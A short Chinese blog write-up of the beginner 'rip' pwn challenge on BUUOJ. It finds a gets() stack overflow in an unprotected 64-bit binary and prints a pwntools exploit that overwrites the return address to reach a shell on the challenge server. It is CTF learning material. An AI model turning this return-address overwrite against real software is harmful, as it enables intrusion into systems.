rip-buuoj
阿新 • • 發佈:2020-07-15
前言
今天開始學pwn,以練促學,學以致用,加油加油
0x01
拿到檔案,首先檢查一下是多少位的,如圖
可以看到是64位的檔案
檢查是否有保護,如圖
看到沒有任何保護
0x02
ida分析一下函式的邏輯
進入到反彙編如下,程式碼邏輯就是讓我們輸入,然後結束,我們主要看一下gets,因為gets有棧溢位漏洞
我們發現輸入的地址空間大小為15,然後就執行函式返回地址,那麼我們直接在15後將系統命令函式地址填入即可,或者直接寫函式的名稱,然後取函式地址也可以
0x03
exp
from pwn import * context(os="linux", arch="amd64", log_level="debug") elf = ELF("pwn1") system_addr = elf.symbols["fun"] content = 0 def main(): if content == 1: p = process("pwn1") else: p = remote("node3.buuoj.cn",29922) payload = b'a'*15 + p64(system_addr) p.sendline(payload) p.interactive() main()
執行結果
拿到flag